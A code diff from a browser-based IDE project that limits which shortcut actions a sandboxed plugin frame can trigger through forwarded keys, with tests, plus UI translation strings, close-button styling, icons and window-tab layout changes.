} else if (/\.tsx?$/.test(entry.name) && !/\.test\.tsx?$/.test(entry.name)) {
|
||||
if (!path.endsWith("/platform/keymap.ts") && !path.endsWith("/bindings.ts")) sources.push(path);
|
||||
}
|
||||
}
|
||||
};
|
||||
walk(root);
|
||||
const text = sources.map((p) => readFileSync(p, "utf8")).join("\n");
|
||||
// Ids registered from a template, e.g. `navigate.gotoBookmark${d}`; a bare `prefix.${…}` proves nothing.
|
||||
const templated = [...text.matchAll(/`([a-z]+\.[A-Za-z]+)\$\{/g)].map((m) => m[1]!);
|
||||
const unregistered = [...FORWARDABLE_ACTIONS].filter(
|
||||
(id) =>
|
||||
!text.includes(`"${id}"`) && !templated.some((prefix) => new RegExp(`^${prefix}[A-Za-z0-9]+$`).test(id)),
|
||||
);
|
||||
expect(sources.length).toBeGreaterThan(100);
|
||||
expect(unregistered).toEqual([]);
|
||||
});
|
||||
|
||||
it("does not let a key a plugin frame passes on start a chord the user then finishes", async () => {
|
||||
const chord = vi.fn();
|
||||
registerAction({ id: "t.chord", title: "chord", run: chord });
|
||||
useKeymap.setState({ overrides: { "t.chord": ["Meta+K Meta+C"] } });
|
||||
uninstall = installKeyboardDispatcher(window);
|
||||
const frame = document.body.appendChild(document.createElement("iframe"));
|
||||
dispatchForwardedKey(frame, { key: "k", code: "KeyK", metaKey: true });
|
||||
window.dispatchEvent(new KeyboardEvent("keydown", { key: "c", code: "KeyC", metaKey: true, bubbles: true }));
|
||||
await Promise.resolve();
|
||||
expect(chord).not.toHaveBeenCalled();
|
||||
frame.remove();
|
||||
});
|
||||
|
||||
it("respects when clauses", async () => {
|
||||
const run = vi.fn();
|
||||
registerAction({ id: "t.gated", title: "gated", when: "never", run });
|
||||
@@ -274,6 +388,22 @@ describe("keymap", () => {
|
||||
expect(run).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("ignores a double Shift whose key presses a plugin frame without ide.commands passes on", async () => {
|
||||
const { run, at, shift } = setup();
|
||||
const frame = document.body.appendChild(document.createElement("iframe"));
|
||||
const press = (ms: number) => {
|
||||
at(ms);
|
||||
dispatchForwardedKey(frame, { key: "Shift", code: "ShiftLeft", shiftKey: true });
|
||||
};
|
||||
press(1000);
|
||||
shift("keyup", 1050);
|
||||
press(1200);
|
||||
shift("keyup", 1250);
|
||||
await Promise.resolve();
|
||||
expect(run).not.toHaveBeenCalled();
|
||||
frame.remove();
|
||||
});
|
||||
|
||||
it("ignores Shift tapped right after typing", () => {
|
||||
const { run, tap, at } = setup();
|
||||
at(990);
|
||||
|
||||
@@ -496,6 +496,92 @@ export function dispatchMouseShortcut(e: MouseEvent, prepare?: (id: string) => b
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Actions a shortcut passed on by a plugin's frame may run (`dispatchForwardedKey`) when the plugin
|
||||
* does not hold `ide.commands`: saving, closing the editor tab, settings, and those that only move
|
||||
* the caret or focus, or show a popup or tool window. The frame's page may send any key at any time,
|
||||
* so nothing that runs, changes or sends something is listed: not themes, schemes, zoom or
|
||||
* bookmarks, nor opening, merging or closing windows and tabs, nor the terminal (showing it starts
|
||||
* a shell). Exact ids, never prefixes; a test checks that each one is still registered.
|
||||
*/
|
||||
export const FORWARDABLE_ACTIONS: ReadonlySet<string> = new Set([
|
||||
"file.save",
|
||||
"file.settings",
|
||||
"editor.closeTab",
|
||||
"navigate.back",
|
||||
"navigate.forward",
|
||||
"navigate.lastEditLocation",
|
||||
"navigate.nextEditLocation",
|
||||
"navigate.gotoLine",
|
||||
"navigate.gotoClass",
|
||||
"navigate.gotoFile",
|
||||
"navigate.gotoSymbol",
|
||||
"navigate.searchEverywhere",
|
||||
"navigate.findAction",
|
||||
"navigate.searchText",
|
||||
"navigate.recentFiles",
|
||||
"navigate.recentLocations",
|
||||
"navigate.switcher",
|
||||
"navigate.switcherBack",
|
||||
"navigate.fileStructure",
|
||||
"navigate.navigationBar",
|
||||
"navigate.selectIn",
|
||||
"navigate.selectInProjectView",
|
||||
"navigate.showFilePath",
|
||||
"navigate.showBookmarks",
|
||||
...Array.from({ length: 10 }, (_, d) => `navigate.gotoBookmark${d}`),
|
||||
"navigate.declaration",
|
||||
"navigate.typeDeclaration",
|
||||
"navigate.implementation",
|
||||
"navigate.superMethod",
|
||||
"navigate.callHierarchy",
|
||||
"navigate.typeHierarchy",
|
||||
"navigate.nextError",
|
||||
"navigate.prevError",
|
||||
"navigate.nextMethod",
|
||||
"navigate.previousMethod",
|
||||
"navigate.nextOccurrence",
|
||||
"navigate.prevOccurrence",
|
||||
"navigate.nextHighlightedUsage",
|
||||
"navigate.prevHighlightedUsage",
|
||||
"toolwindow.project",
|
||||
"toolwindow.structure",
|
||||
"toolwindow.problems",
|
||||
"toolwindow.find",
|
||||
"toolwindow.bookmarks",
|
||||
"toolwindow.git",
|
||||
"toolwindow.commit",
|
||||
"toolwindow.run",
|
||||
"toolwindow.debug",
|
||||
"toolwindow.hideActive",
|
||||
"toolwindow.hideAll",
|
||||
"toolwindow.jumpToLast",
|
||||
"toolwindow.focusEditor",
|
||||
"toolwindow.maximize",
|
||||
"toolwindow.resizeUp",
|
||||
"toolwindow.resizeDown",
|
||||
"toolwindow.resizeLeft",
|
||||
"toolwindow.resizeRight",
|
||||
"window.next",
|
||||
"window.previous",
|
||||
"window.nextTab",
|
||||
"window.previousTab",
|
||||
]);
|
||||
|
||||
const restrictedKeys = new WeakSet<Event>();
|
||||
|
||||
/**
|
||||
* Dispatches on `target` a shortcut that a plugin's sandboxed frame says was pressed in it and left
|
||||
* alone, for the keymap. The page can post one at any time, so unless the plugin may run any IDE
|
||||
* action (`anyAction`: it holds `ide.commands`), the keymap runs only `FORWARDABLE_ACTIONS` from it,
|
||||
* and it neither starts nor finishes a chord and takes no part in a double-modifier gesture.
|
||||
*/
|
||||
export function dispatchForwardedKey(target: EventTarget, init: KeyboardEventInit, anyAction = false): void {
|
||||
const e = new KeyboardEvent("keydown", { ...init, bubbles: true, cancelable: true });
|
||||
if (!anyAction) restrictedKeys.add(e);
|
||||
target.dispatchEvent(e);
|
||||
}
|
||||
|
||||
/**
|
||||
* Installs the global keydown dispatcher (capture phase, so IDE shortcuts win
|
||||
* over CodeMirror defaults). Returns an uninstall function. `now` is the clock
|
||||
@@ -561,9 +647,11 @@ export function installKeyboardDispatcher(
|
||||
resetTap();
|
||||
return;
|
||||
}
|
||||
const restricted = restrictedKeys.has(e);
|
||||
if (restricted) reset();
|
||||
const modifier = KEY_MODIFIER[e.key];
|
||||
if (modifier) return onModifierDown(e, modifier);
|
||||
if (runHeldGesture(e)) return reset();
|
||||
if (modifier) return restricted ? undefined : onModifierDown(e, modifier);
|
||||
if (!restricted && runHeldGesture(e)) return reset();
|
||||
resetTap();
|
||||
otherKeyAt = e.key === "Escape" || e.key === "Tab" ? -Infinity : now();
|
||||
if (isImeKey(e)) return;
|
||||
@@ -616,7 +704,7 @@ export function installKeyboardDispatcher(
|
||||
}
|
||||
for (const id of [...preferred, ...fallback]) {
|
||||
const action = getAction(id);
|
||||
if (action && isActionKeyEnabled(action, ctx)) {
|
||||
if (action && isActionKeyEnabled(action, ctx) && (!restricted || FORWARDABLE_ACTIONS.has(id))) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
reset();
|
||||
@@ -624,7 +712,7 @@ export function installKeyboardDispatcher(
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (bindings.some(([b]) => b.startsWith(seq + " "))) {
|
||||
if (!restricted && bindings.some(([b]) => b.startsWith(seq + " "))) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
pending.push(stroke);
|
||||
|
||||
@@ -290,6 +290,7 @@
|
||||
"menu.navigate.typeHierarchy": "Type Hierarchy",
|
||||
"menu.navigate.superMethod": "Super Method",
|
||||
"menu.navigate.gotoTest": "Test",
|
||||
"menu.navigate.relatedSymbol": "Related Symbol…",
|
||||
"menu.navigate.nextMethod": "Next Method",
|
||||
"menu.navigate.previousMethod": "Previous Method",
|
||||
"menu.openRecent": "Open Recent",
|
||||
@@ -298,6 +299,7 @@
|
||||
"menu.refactor.changeSignature": "Change Signature…",
|
||||
"menu.refactor.extractConstant": "Introduce Constant…",
|
||||
"menu.refactor.extractField": "Introduce Field…",
|
||||
"menu.refactor.extractInterface": "Extract Interface…",
|
||||
"menu.refactor.extractMethod": "Extract Method…",
|
||||
"menu.refactor.extractParameter": "Introduce Parameter…",
|
||||
"menu.refactor.extractVariable": "Introduce Variable…",
|
||||
|
||||
@@ -316,8 +316,10 @@
|
||||
"Cannot show current revision": "Cannot show current revision",
|
||||
"Compare": "Compare",
|
||||
"Compare with Revision…": "Compare with Revision…",
|
||||
"Revision changes are still loading": "Revision changes are still loading",
|
||||
"Swap Sides": "Swap Sides",
|
||||
"Show Current Revision": "Show Current Revision",
|
||||
"Show File at Revision": "Show File at Revision",
|
||||
"Search file revisions": "Search file revisions",
|
||||
"File revisions": "File revisions",
|
||||
"The current line has no committed revision": "The current line has no committed revision",
|
||||
@@ -791,11 +793,6 @@
|
||||
"Couldn't rename the task": "Couldn't rename the task",
|
||||
"Start a Fresh Agent Session": "Start a Fresh Agent Session",
|
||||
"Start Fresh": "Start Fresh",
|
||||
"Start Side Conversation": "Start Side Conversation",
|
||||
"Side conversation": "Side conversation",
|
||||
"Side conversation: {title}": "Side conversation: {title}",
|
||||
"Temporary and read-only: closing it discards the conversation and its context.": "Temporary and read-only: closing it discards the conversation and its context.",
|
||||
"Discard Side Conversation": "Discard Side Conversation",
|
||||
"This clears the entire conversation and starts a fresh agent session with this message. Files the agent changed stay as they are.": "This clears the entire conversation and starts a fresh agent session with this message. Files the agent changed stay as they are.",
|
||||
"Copy Path From Source Root": "Copy Path From Source Root",
|
||||
"Escape text on paste in string literals": "Escape text on paste in string literals",
|
||||
@@ -2148,5 +2145,7 @@
|
||||
"Untitled files were not saved": "Untitled files were not saved",
|
||||
"Missing blank line between subject and body": "Missing blank line between subject and body",
|
||||
"Body line {0} is longer than {1} characters": "Body line {0} is longer than {1} characters",
|
||||
"Add blank line": "Add blank line"
|
||||
"Add blank line": "Add blank line",
|
||||
"Cannot paste this path safely: its name contains control characters.": "Cannot paste this path safely: its name contains control characters.",
|
||||
"Cannot paste the dropped files": "Cannot paste the dropped files"
|
||||
}
|
||||
@@ -295,6 +295,7 @@
|
||||
"Cannot show current revision": "无法显示当前修订版",
|
||||
"Compare with Revision…": "与修订版比较…",
|
||||
"Show Current Revision": "显示当前修订版",
|
||||
"Show File at Revision": "显示此修订版中的文件",
|
||||
"Search file revisions": "搜索文件修订版",
|
||||
"File revisions": "文件修订版",
|
||||
"The current line has no committed revision": "当前行没有已提交的修订版",
|
||||
@@ -2615,6 +2616,7 @@
|
||||
"Select Standard Library Sources": "选择标准库源代码",
|
||||
"Select TypeScript lib Directory": "选择 TypeScript lib 目录",
|
||||
"Select a changed file to show its diff": "选择一个已更改的文件以显示其差异",
|
||||
"Revision changes are still loading": "修订的更改仍在加载",
|
||||
"Select a column": "选择一列",
|
||||
"Select a commit in the Git log": "在 Git 日志中选择一个提交",
|
||||
"Select a commit to view changes": "选择一个提交以查看更改",
|
||||
@@ -7202,11 +7204,6 @@
|
||||
"Couldn't rename the task": "无法重命名任务",
|
||||
"Start a Fresh Agent Session": "启动全新的智能体会话",
|
||||
"Start Fresh": "重新开始",
|
||||
"Start Side Conversation": "开始侧边对话",
|
||||
"Side conversation": "侧边对话",
|
||||
"Side conversation: {title}": "侧边对话:{title}",
|
||||
"Temporary and read-only: closing it discards the conversation and its context.": "临时且只读:关闭即丢弃对话及其上下文。",
|
||||
"Discard Side Conversation": "丢弃侧边对话",
|
||||
"This clears the entire conversation and starts a fresh agent session with this message. Files the agent changed stay as they are.": "这会清空整个对话,并使用此消息启动全新的智能体会话。智能体已修改的文件保持不变。",
|
||||
"Path From Source Root": "相对于源根的路径",
|
||||
"Paste preview": "粘贴预览",
|
||||
@@ -8535,5 +8532,7 @@
|
||||
"Describe a task. @ for files, / for commands": "描述一个任务。@ 引用文件,/ 运行命令",
|
||||
"Effort": "推理",
|
||||
"Don't Add the Current File": "不附带当前文件",
|
||||
"Add {rel} and the selection to your requests": "在请求中附带 {rel} 和选区"
|
||||
"Add {rel} and the selection to your requests": "在请求中附带 {rel} 和选区",
|
||||
"Cannot paste this path safely: its name contains control characters.": "无法安全粘贴此路径:名称包含控制字符。",
|
||||
"Cannot paste the dropped files": "无法粘贴拖入的文件"
|
||||
}
|
||||
@@ -290,6 +290,7 @@
|
||||
"menu.navigate.typeHierarchy": "类型层次结构",
|
||||
"menu.navigate.superMethod": "super 方法",
|
||||
"menu.navigate.gotoTest": "测试",
|
||||
"menu.navigate.relatedSymbol": "相关符号…",
|
||||
"menu.navigate.nextMethod": "下一个方法",
|
||||
"menu.navigate.previousMethod": "上一个方法",
|
||||
"menu.openRecent": "最近打开",
|
||||
@@ -298,6 +299,7 @@
|
||||
"menu.refactor.changeSignature": "更改签名…",
|
||||
"menu.refactor.extractConstant": "引入常量…",
|
||||
"menu.refactor.extractField": "引入字段…",
|
||||
"menu.refactor.extractInterface": "提取接口…",
|
||||
"menu.refactor.extractMethod": "提取方法…",
|
||||
"menu.refactor.extractParameter": "引入参数…",
|
||||
"menu.refactor.extractVariable": "引入变量…",
|
||||
|
||||
@@ -142,3 +142,27 @@
|
||||
border: 1px solid ButtonText;
|
||||
}
|
||||
}
|
||||
|
||||
.closeButton.closeButton {
|
||||
display: inline-grid;
|
||||
place-items: center;
|
||||
cursor: default;
|
||||
transition: none;
|
||||
}
|
||||
.closeButton.closeButton:not(:disabled):hover,
|
||||
.closeButton.closeButton:not(:disabled):active {
|
||||
background: transparent;
|
||||
}
|
||||
.closeIdle,
|
||||
.closeHovered {
|
||||
grid-area: 1 / 1;
|
||||
}
|
||||
.closeHovered {
|
||||
visibility: hidden;
|
||||
}
|
||||
.closeButton:not(:disabled):hover .closeIdle {
|
||||
visibility: hidden;
|
||||
}
|
||||
.closeButton:not(:disabled):hover .closeHovered {
|
||||
visibility: visible;
|
||||
}
|
||||
@@ -77,6 +77,7 @@ export const IconButton = forwardRef<HTMLButtonElement, IconButtonProps>(functio
|
||||
const keys = shortcut ?? (action ? shortcutLabel(action) : undefined);
|
||||
const busy = useRunningActions((s) => (action ? s.running.has(action) : false));
|
||||
const glyphSize = iconSize ?? 16;
|
||||
const close = icon === "close";
|
||||
return (
|
||||
<button
|
||||
ref={ref}
|
||||
@@ -88,7 +89,13 @@ export const IconButton = forwardRef<HTMLButtonElement, IconButtonProps>(functio
|
||||
// Not `disabled`: a disabled button drops keyboard focus while the action runs.
|
||||
aria-disabled={busy || undefined}
|
||||
disabled={disabled}
|
||||
className={clsx(styles.iconButton, styles[`is-${size}`], tone !== "default" && styles[`tone-${tone}`], className)}
|
||||
className={clsx(
|
||||
styles.iconButton,
|
||||
styles[`is-${size}`],
|
||||
close && styles.closeButton,
|
||||
tone !== "default" && styles[`tone-${tone}`],
|
||||
className,
|
||||
)}
|
||||
onClick={(e) => {
|
||||
if (busy) return;
|
||||
onClick?.(e);
|
||||
@@ -97,7 +104,16 @@ export const IconButton = forwardRef<HTMLButtonElement, IconButtonProps>(functio
|
||||
{...tooltipAttrs(label, keys, true)}
|
||||
{...rest}
|
||||
>
|
||||
{busy ? <Spinner size={glyphSize} /> : <Icon name={icon} size={glyphSize} />}
|
||||
{busy ? (
|
||||
<Spinner size={glyphSize} />
|
||||
) : close ? (
|
||||
<>
|
||||
<Icon name="project-tab-close" size={16} className={styles.closeIdle} />
|
||||
<Icon name="project-tab-close-hovered" size={16} className={styles.closeHovered} />
|
||||
</>
|
||||
) : (
|
||||
<Icon name={icon} size={glyphSize} />
|
||||
)}
|
||||
</button>
|
||||
);
|
||||
});
|
||||
@@ -158,3 +158,12 @@ export function appendSpans(into: Span[], spans: readonly Span[]): Span[] {
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/** `text` without its escape sequences: for places that show process output as plain text. */
|
||||
export function stripAnsi(text: string): string {
|
||||
// `clean` keeps a cut-off sequence at the end for the next chunk; there is none, so it is dropped.
|
||||
return new AnsiStream()
|
||||
.clean(text)
|
||||
.replace(/\x1b\[[0-9;]*m/g, "")
|
||||
.replace(/\r(?!\n)/g, "");
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
<!-- Copyright 2000-2021 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file. -->
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16">
|
||||
<path fill="#7F8B91" fill-opacity=".5" fill-rule="evenodd" d="M7.99494337,8.70506958 L4.85408745,11.8540874 L4.14698067,11.1469807 L7.29493214,8.00505835 L4.14698067,4.85710688 L4.85408745,4.1500001 L8.00204181,7.29795446 L11.1439612,4.1500001 L11.851068,4.85710688 L8.70204624,7.99795888 L11.851068,11.1469807 L11.1439612,11.8540874 L7.99494337,8.70506958 Z"/>
|
||||
</svg>
|
||||
|
Після Ширина: | Висота: | Розмір: 602 B |
@@ -0,0 +1,4 @@
|
||||
<!-- Copyright 2000-2021 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file. -->
|
||||
<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path fill-rule="evenodd" clip-rule="evenodd" d="M8 14.25C11.4518 14.25 14.25 11.4518 14.25 8C14.25 4.54822 11.4518 1.75 8 1.75C4.54822 1.75 1.75 4.54822 1.75 8C1.75 11.4518 4.54822 14.25 8 14.25ZM4.54 5.46L5.45924 4.54076L8 7.08152L10.5408 4.54076L11.46 5.46L8.91924 8.00076L11.4592 10.5408L10.54 11.46L8 8.92L5.46 11.46L4.54076 10.5408L7.08076 8.00076L4.54 5.46Z" fill="#7F8B91" fill-opacity="0.5"/>
|
||||
</svg>
|
||||
|
Після Ширина: | Висота: | Розмір: 652 B |
@@ -0,0 +1,5 @@
|
||||
<!-- Copyright 2000-2022 JetBrains s.r.o. and contributors. Use of this source code is governed by the Apache 2.0 license. -->
|
||||
<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle opacity="0.13" cx="8" cy="8" r="8" fill="#F0F1F2"/>
|
||||
<path fill-rule="evenodd" clip-rule="evenodd" d="M11.4939 4.48784C11.3002 4.28007 10.9724 4.27548 10.7729 4.47775L8.00074 7.28849L5.22871 4.47788C5.02922 4.27561 4.70143 4.2802 4.50768 4.48797C4.32506 4.68382 4.32933 4.98882 4.51736 5.17947L7.29908 7.99991L4.51756 10.8201C4.32953 11.0108 4.32526 11.3158 4.50788 11.5116C4.70163 11.7194 5.02942 11.724 5.22892 11.5217L8.00074 8.71133L10.7727 11.5219C10.9722 11.7241 11.3 11.7196 11.4937 11.5118C11.6764 11.3159 11.6721 11.0109 11.484 10.8203L8.7024 7.99991L11.4843 5.17934C11.6723 4.98869 11.6766 4.68368 11.4939 4.48784Z" fill="#868A91"/>
|
||||
</svg>
|
||||
|
Після Ширина: | Висота: | Розмір: 880 B |
@@ -0,0 +1,4 @@
|
||||
<!-- Copyright 2000-2022 JetBrains s.r.o. and contributors. Use of this source code is governed by the Apache 2.0 license. -->
|
||||
<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path fill-rule="evenodd" clip-rule="evenodd" d="M11.4939 4.48784C11.3002 4.28007 10.9724 4.27548 10.7729 4.47775L8.00074 7.28849L5.22871 4.47788C5.02922 4.27561 4.70143 4.2802 4.50768 4.48797C4.32506 4.68382 4.32933 4.98882 4.51736 5.17947L7.29908 7.99991L4.51756 10.8201C4.32953 11.0108 4.32526 11.3158 4.50788 11.5116C4.70163 11.7194 5.02942 11.724 5.22892 11.5217L8.00074 8.71133L10.7727 11.5219C10.9722 11.7241 11.3 11.7196 11.4937 11.5118C11.6764 11.3159 11.6721 11.0109 11.484 10.8203L8.7024 7.99991L11.4843 5.17934C11.6723 4.98869 11.6766 4.68368 11.4939 4.48784Z" fill="#6F737A"/>
|
||||
</svg>
|
||||
|
Після Ширина: | Висота: | Розмір: 820 B |
@@ -281,6 +281,8 @@ const ICONS = {
|
||||
"chevron-up": "general/chevronUp",
|
||||
"chevron-left": "general/chevronLeft",
|
||||
close: "general/close",
|
||||
"project-tab-close": "general/windowClose",
|
||||
"project-tab-close-hovered": "general/windowCloseHovered",
|
||||
plus: "general/add",
|
||||
minus: "general/remove",
|
||||
check: "actions/checked",
|
||||
|
||||
@@ -2,14 +2,13 @@
|
||||
display: flex;
|
||||
flex: none;
|
||||
align-items: center;
|
||||
gap: var(--island-gap);
|
||||
padding: 0 var(--island-gap) var(--island-gap);
|
||||
position: relative;
|
||||
padding: 0 var(--window-tabs-right, 40px) var(--space-0-5) var(--window-tabs-left, 40px);
|
||||
min-width: 0;
|
||||
}
|
||||
.tabs {
|
||||
display: flex;
|
||||
flex: 1;
|
||||
gap: var(--space-1);
|
||||
overflow-x: auto;
|
||||
min-width: 0;
|
||||
}
|
||||
@@ -19,13 +18,17 @@
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex: 1 1 0;
|
||||
min-width: 120px;
|
||||
border-radius: var(--radius-small);
|
||||
min-width: 0;
|
||||
box-sizing: border-box;
|
||||
border-radius: var(--island-radius);
|
||||
margin: 0 1px;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
.close {
|
||||
position: absolute;
|
||||
left: 4px;
|
||||
left: 6px;
|
||||
width: 22px;
|
||||
height: 22px;
|
||||
opacity: 0;
|
||||
}
|
||||
.item:hover .close,
|
||||
@@ -59,7 +62,7 @@
|
||||
color: inherit;
|
||||
background: transparent;
|
||||
font: inherit;
|
||||
cursor: pointer;
|
||||
cursor: default;
|
||||
}
|
||||
.tab span {
|
||||
overflow: hidden;
|
||||
@@ -71,3 +74,20 @@
|
||||
outline-offset: -2px;
|
||||
border-radius: var(--radius-small);
|
||||
}
|
||||
|
||||
.item:not(.selected):not(:hover):not(:last-child):not(:has(+ .selected, + :hover))::after {
|
||||
position: absolute;
|
||||
top: 5px;
|
||||
right: -1px;
|
||||
bottom: 5px;
|
||||
width: 1px;
|
||||
background: var(--border-strong);
|
||||
content: "";
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.detach {
|
||||
position: absolute;
|
||||
right: var(--stripe-outer-padding);
|
||||
top: 0;
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useRef, useState } from "react";
|
||||
import { useLayoutEffect, useRef, useState } from "react";
|
||||
import { executeAction } from "@/platform/actions";
|
||||
import { useTx } from "@/platform/i18n";
|
||||
import { reorderedTabs, useWindowGroup } from "@/platform/windowGroups";
|
||||
@@ -7,7 +7,13 @@ import { notifications } from "./contributions";
|
||||
import styles from "./WindowGroupTabs.module.css";
|
||||
|
||||
function run(work: Promise<unknown>) {
|
||||
void work.catch((e) => notifications().notify({ level: "error", title: "Window group", body: String(e) }));
|
||||
void work.catch((e) =>
|
||||
notifications().notify({
|
||||
level: "error",
|
||||
title: "Window group",
|
||||
body: String(e),
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
export function WindowGroupTabs() {
|
||||
@@ -15,9 +21,39 @@ export function WindowGroupTabs() {
|
||||
const drag = useRef<{ label: string; x: number; moved: boolean } | null>(null);
|
||||
const [dragging, setDragging] = useState<string | null>(null);
|
||||
const tx = useTx();
|
||||
const bar = useRef<HTMLDivElement>(null);
|
||||
const grouped = tabs.length > 1;
|
||||
useLayoutEffect(() => {
|
||||
const element = bar.current;
|
||||
if (!element) return;
|
||||
const frame = element.parentElement;
|
||||
if (!frame) return;
|
||||
const update = () => {
|
||||
for (const side of ["left", "right"]) {
|
||||
const stripe = frame.querySelector(`[data-stripe-side="${side}"]`);
|
||||
element.style.setProperty(
|
||||
`--window-tabs-${side}`,
|
||||
stripe ? `${stripe.getBoundingClientRect().width}px` : "var(--island-gap)",
|
||||
);
|
||||
}
|
||||
};
|
||||
const resize = new ResizeObserver(update);
|
||||
const observe = () => {
|
||||
resize.disconnect();
|
||||
frame.querySelectorAll("[data-stripe-side]").forEach((stripe) => resize.observe(stripe));
|
||||
update();
|
||||
};
|
||||
const children = new MutationObserver(observe);
|
||||
children.observe(frame, { childList: true, subtree: true });
|
||||
observe();
|
||||
return () => {
|
||||
resize.disconnect();
|
||||
children.disconnect();
|
||||
};
|
||||
}, [grouped]);
|
||||
if (tabs.length < 2) return null;
|
||||
return (
|
||||
<div className={styles.bar} data-window-group>
|
||||
<div ref={bar} className={styles.bar} data-window-group>
|
||||
<div className={styles.tabs} role="tablist" aria-label={tx("Project windows")}>
|
||||
{tabs.map((tab) => (
|
||||
<div
|
||||
@@ -70,8 +106,14 @@ export function WindowGroupTabs() {
|
||||
run: () => executeAction("window.detachTab"),
|
||||
},
|
||||
{ kind: "separator" },
|
||||
{ label: "Close Tab", run: () => executeAction("window.closeTab", tab.label) },
|
||||
{ label: "Close Other Tabs", run: () => executeAction("window.closeOtherTabs", tab.label) },
|
||||
{
|
||||
label: "Close Tab",
|
||||
run: () => executeAction("window.closeTab", tab.label),
|
||||
},
|
||||
{
|
||||
label: "Close Other Tabs",
|
||||
run: () => executeAction("window.closeOtherTabs", tab.label),
|
||||
},
|
||||
{
|
||||
label: "Close Tabs to the Left",
|
||||
disabled: index <= 0,
|
||||
@@ -108,16 +150,21 @@ export function WindowGroupTabs() {
|
||||
<span>{tab.name}</span>
|
||||
</button>
|
||||
<IconButton
|
||||
className={styles.close}
|
||||
icon="close"
|
||||
size="small"
|
||||
className={styles.close}
|
||||
title={tx`Close ${tab.name}`}
|
||||
onClick={() => run(executeAction("window.closeTab", tab.label))}
|
||||
/>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<IconButton icon="external-link" title="Move Tab to New Window" action="window.detachTab" />
|
||||
<IconButton
|
||||
className={styles.detach}
|
||||
icon="external-link"
|
||||
title="Move Tab to New Window"
|
||||
action="window.detachTab"
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -699,8 +699,6 @@ export interface EditorService {
|
||||
openTabs?(): OpenEditorTab[];
|
||||
/** Input of the tab `tabId` in pane `paneId` (dragging tabs between views), null if there is none. */
|
||||
tabInput?(paneId: string, tabId: string): EditorInput | null;
|
||||
/** The pane showing a tab with this input key, if any (for anchoring "open beside it"). */
|
||||
paneOf?(key: string): string | null;
|
||||
/** Input of the active tab (any kind), if any. */
|
||||
activeInput?(): EditorInput | null;
|
||||
/** Calls `fn` whenever the active tab changes; returns the unsubscribe. */
|
||||
|
||||
Reference in new issue
Заблокувати користувача